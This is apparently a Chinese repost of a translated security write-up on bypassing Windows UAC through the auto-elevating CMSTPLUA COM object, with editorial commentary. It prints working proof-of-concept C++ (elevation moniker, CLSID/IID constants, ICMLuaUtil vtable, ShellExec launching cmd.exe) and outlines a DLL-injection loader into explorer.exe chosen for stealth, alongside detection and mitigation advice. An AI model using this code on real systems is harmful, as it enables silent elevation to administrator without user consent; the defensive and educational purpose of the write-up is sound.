CMSTPLUACOM利用:自动提升COM对象的UACBypass全流程

admin 2026-09-06 04:28:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录利用CMSTPLUACOM对象实现UAC绕过完整流程,从注册表定位目标、OleView验证属性、IDA分析vftable定位ShellExec到通过elevationmoniker调用执行命令。文章澄清适用条件为绕弹窗而非提权,并给出检测与缓解建议,包括监控高完整性子进程无同意事件组合及注册表变更。 综合评分: 82 文章分类: 红队,渗透测试,安全工具,漏洞分析


CMSTPLUA COM 利用:自动提升 COM 对象的 UAC Bypass 全流程

原创

0xSec 0xSec

赛博生存指南

2026年9月5日 20:45 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

原文:https://0xsec.gitbook.io/0xsec/windows/uac-bypass-cmstplua-com-exploitation 作者:0xSec 发布时间:2026-09-04 翻译模型:GLM-5.3

编者按:这是 0xSec 博客上一条经典 UAC bypass 的完整实操记录,目标是 CMSTPLUA:一个登记在注册表 COMAutoApprovalList 里、支持静默自动提升的 COM 对象。作者从注册表找目标、用 OleView 验证 Elevation / AutoApproval 属性、在 IDA 里数 vftable 槽位定位 ShellExec,到拼 elevation moniker 完成调用,把「从零分析一个 auto-elevate COM 对象」的标准流程完整走了一遍,最后借 DLL 注入 explorer.exe 拿到管理员 cmd。译文之后是我们对照 PoC 源码补的解读:这条路的适用条件(它绕的是弹窗,不是权限)、原文一处需要澄清的函数签名、以及检测面在哪。

译文

UAC Bypass:CMSTPLUA COM 利用

COM 是一种二进制标准(不是语言,也不是 API 库),它规定编译出来的对象如何通过 interface(基于指针的函数表)暴露功能,让不同语言写成的对象可以互相调用方法。要访问 interface 里的函数,得先拿到指向这个 interface 的指针https://learn.microsoft.com/en-us/windows/win32/com/interface-pointers-and-interfaces(在 COM 类里,这个指针指向一个成员函数指针数组,也就是 pVtbl)。

一个 COM 类用 CLSID 标识。CLSID 是 GUID(别的类不可能撞同一个 CLSID),对应 Windows 上的某个 DLL 或 EXE;COM 类里的 interface 则用 IID 标识,同样是 GUID。去看注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList,这个键下登记的就是 auto-elevate 的 COM 对象。

Windows 暴露了不少经 UAC(用户账户控制)提升机制执行高权限操作的 COM 对象,CMSTPLUA 是其中之一。它实现在 cmlua.dll 里,暴露 ICMLuaUtil interface,其中一个方法是 ShellExec:可以借它以更高权限执行 shell 命令、直接绕过 UAC,因为它的 autoapproval 设成了 true。用 OleView 看 CMSTPLUA COM 类对象暴露的 interface,属性里 Elevation 和 AutoApproval 都是 True

再看 ICMLuaUtil interface 的定义。它继承 IUnknownhttps://en.wikipedia.org/wiki/IUnknown(COM 强制的基础 interface,暴露 QueryInterface()AddRef()Release() 三个方法),定义里列出的那些公开方法,稍后在 IDA 里会按名字对号入座。

把 C:\Windows\System32\cmlua.dll 拖进 IDA,能看到 CCMLuaUtil 类的 vftable,里面是各 virtual method 的指针。前三个方法来自 IUnknown,我们要找的 ShellExec 是类里的第 7 个方法。到这里,CLSID 和 IID 也一并确认了。

从 vftable 恢复出 ShellExec 的结构,它期待一个指向 SHELLEXECUTEINFOWhttps://learn.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-shellexecuteinfow 结构体的指针。

接下来,COM 客户端要以管理员权限执行 shell,需要用 elevation monikerhttps://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker 请求提升;提升也要求 COM 类本身配置成支持,也就是上面在 OleView 里看到的那样。

Implementation

我们通过 DLL 注入来做:一个简单的 loader 把手工构造的 DLL 注入 explorer.exe

这就是我们提升后的 prompt 🙂

原文的 References 已并入文末「参考」清单。

译者解读

以下内容为公众号自己补充的解读,不是译文。原文截图多、文字少,几处关键细节藏在配套 PoC 仓库https://github.com/0xSec1/UAC-Bypass(C++,2026-09-04 首次提交)里,下面结合源码把这条链讲透。

一、PoC 关键代码:一段 moniker、一次调用

dllmain.cpp 的核心就是拼出 elevation moniker 字符串,用 CoGetObject 拿接口指针,然后直接调 ShellExec

//create COM moniker for Admin privilege
wcscpy_s(wsElevationMoniker, L"Elevation:Administrator!new:");
wcscat_s(wsElevationMoniker, CLSID_CMSTPLUA);

RtlSecureZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.dwClassContext = CLSCTX_LOCAL_SERVER;

hr = CoGetObject(wsElevationMoniker, &bo, __uuidof(ICMLuaUtil), (void**)&pCMLuaUtil);
if (hr == S_OK && pCMLuaUtil != nullptr) {
    pCMLuaUtil->ShellExec(L"C:\\Windows\\System32\\cmd.exe", nullptr, nullptr, SEE_MASK_DEFAULT, SW_SHOW);
}

用到的两个 GUID 常量(源码注释里的 ICLuatil 拼写照原样保留):

//CLSID of CMSTPLUA and IID of ICLuatil
constwchar_t* CLSID_CMSTPLUA = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";
constwchar_t* IID_ICMLuaUtil = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";

没有现成头文件,作者手工声明了整个 ICMLuaUtil vtable,按 IDA 里数出来的槽位逐一占坑,ShellExec 排在 Method1 到 Method6 之后:

struct__declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C"))ICMLuaUtil : public IUnknown {
virtual HRESULT __stdcall Method1();  //SetRasCredentials
virtual HRESULT __stdcall Method2();  //SetRasEntryProperties
virtual HRESULT __stdcall Method3();  //DeleteRasEntry
virtual HRESULT __stdcall Method4();  //LaunchInfSection
virtual HRESULT __stdcall Method5();  //LaunchInfSectionEx
virtual HRESULT __stdcall Method6();  //CreateLayerDirectory
virtual HRESULT __stdcall ShellExec(
        LPCWSTR lpFile,
        LPCWSTR lpParameters,
        LPCWSTR lpDirectory,
        ULONG   fMask,
int     nShow);

数槽位的话:IUnknown 占 0-2,Method1 到 Method6 占 3-8,ShellExec 在第 9 槽(从 0 数起)。原文说的「第 7 个方法」是指扣除 IUnknown 三个方法之后的第 7 个,两边说的是同一件事。

loader 侧是教科书式注入:CreateToolhelp32Snapshot 遍历进程找到 explorer.exe 的 PID,OpenProcess(PROCESS_ALL_ACCESS) 打开,VirtualAllocEx 写入 DLL 路径,最后 CreateRemoteThread 执行 LoadLibraryW。结果截图里后台 PowerShell 的 [*] Injection successful 就是它的输出,前台的管理员 cmd 里 whoami /priv 列出了完整的管理员特权表。

二、先说清适用条件:它绕的是「弹窗」,不是「权限」

这个手法经常被误解,先把边界画出来:

  • 前提是当前用户本来就在管理员组里,进程跑在 medium integrity。它做的是把 medium 提到 high 而不惊动用户,等于替你按下 UAC 的同意键。标准用户账户下这条路走不通,那叫提权,不叫 UAC bypass。
  • UAC 级别设在默认档(及以下)时,COMAutoApprovalList 的静默批准才生效;拉到「始终通知」就会弹 consent 窗,手法失效。
  • 注入 explorer.exe 这一步不是必须的,任何 medium-IL 的 admin 上下文进程都能发起这个 COM 调用。选 explorer 一是因为它是天然常驻的这类宿主,二是让 COM 活动藏在可信进程里、不新增可疑进程,属于 OPSEC 考虑。

三、原文一处需要澄清:ShellExec 的参数

原文说从 vftable 恢复出「期待一个指向 SHELLEXECUTEINFOW 的指针」,但无论这份 PoC 还是被它引用的 hfiref0x 经典实现,ShellExec 都是 5 个独立参数:lpFilelpParameterslpDirectoryfMasknShow。IDA 反汇编里看到 SHELLEXECUTEINFOW,更可能是函数体内部为 ShellExecuteEx 组装参数的过程,不是调用方要传的东西。照 PoC 的 5 参数写法调即可。

四、家谱:一条 2015 年就有的老路

CMSTPLUA 这条线不是新东西。文中引用的 hfiref0x gisthttps://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d 就是这套 ICMLuaUtil::ShellExec 用法的源头,hfiref0x 的 UACMe 项目也收录了同族 auto-elevate COM 技法,大量开源工具和恶意软件沿用到今天,属于 maldev 的入门必修课。这篇文章的价值不在新,而在把「从零分析一个 auto-elevate COM 对象」的流程完整示范了一遍:注册表里找目标(COMAutoApprovalList 一长串 CLSID 任你挑)、OleView 验证 Elevation / AutoApproval、IDA 数 vftable 槽位、moniker 发起调用。这套流程套到列表里其他对象上一样能用。

顺带一提,本仓库译介过的《ErrTraffic 与 Cruciferra》里,Cruciferra 的 UAC 绕过用的正是同一类 COM Elevation Moniker,商业 MaaS 也在吃这套老本。

五、检测与缓解

  • 缓解侧最直接的两条:日常用标准账户(手法直接失效);或者把 UAC 拉到「始终通知」,静默批准列表作废。
  • loader 的注入链很响:向 explorer.exe 发起的 CreateRemoteThread(Sysmon EID 8)、远程 LoadLibraryW 加载非系统 DLL,都是 EDR 的重点关照对象,作者也只把它当演示用。
  • 提升侧的特征是「没弹窗却出了高完整性子进程」:管理员 cmd 由 COM 服务宿主拉起、token 是完整的 High integrity,而此前没有任何 consent.exe 交互。盯「高完整性子进程 + 无同意事件」这个组合,比盯单点更有用。
  • CoGetObject 调 elevation moniker 本身没有直接的 ETW 遥测,moniker 字符串不会出现在常规日志里;注册表 COMAutoApprovalList 的变更(尤其是新增条目)倒是值得监控。
  • 最后提醒归属:防「绕 UAC 弹窗」靠的是 UAC 策略和检测,防「标准用户变管理员」靠的是凭据卫生和权限分配,两件事的账要分开算。

参考

  • UAC Bypass – CMSTPLUA COM Exploitation — 0xSec GitBook:https://0xsec.gitbook.io/0xsec/windows/uac-bypass-cmstplua-com-exploitation
  • 0xSec1/UAC-Bypass(PoC 源码,C++)— GitHub:https://github.com/0xSec1/UAC-Bypass
  • hfiref0x:ICMLuaUtil / CMSTPLUA 用法原始 gist:https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d
  • COM Fundamentals — Microsoft Learn:https://learn.microsoft.com/en-us/windows/win32/com/com-fundamentals
  • The COM Elevation Moniker — Microsoft Learn:https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
  • Interface Pointers and Interfaces — Microsoft Learn:https://learn.microsoft.com/en-us/windows/win32/com/interface-pointers-and-interfaces
  • SHELLEXECUTEINFOW structure — Microsoft Learn:https://learn.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-shellexecuteinfow

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博生存指南 0xSec 0xSec《CMSTPLUA COM 利用:自动提升 COM 对象的 UAC Bypass 全流程》

评论:0   参与:  0